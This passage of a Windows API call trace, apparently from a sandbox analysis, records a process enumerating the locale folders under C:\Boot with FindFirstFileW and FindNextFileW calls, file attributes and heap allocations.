dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.940] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.940] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.940] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.940] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0036.940] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.940] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.941] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.941] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.941] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.941] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.941] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0036.941] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.941] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.941] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.941] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.941] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.941] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.941] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0036.941] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.941] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.942] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.942] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.942] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.942] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.942] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0036.942] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.942] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.942] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.942] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.942] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.942] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.942] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0036.942] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.942] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.942] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.943] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.943] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.943] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.943] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0036.943] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.943] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.943] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.943] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.943] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.943] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.943] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0036.944] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.944] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.944] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.944] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.944] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.944] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.944] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0036.944] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.944] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.944] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.944] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.944] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.944] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.944] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0036.945] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.945] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.945] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.945] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.945] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.945] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.945] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0036.945] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.945] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0037.147] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.147] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.669] FindClose (in: hFindFile=0x56f630 | out: hFindFile=0x56f630) returned 1 [0050.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3ee0060 | out: hHeap=0x520000) returned 1 [0050.669] FindNextFileW (in: hFindFile=0x56f4b0, lpFindFileData=0x33cf58c | 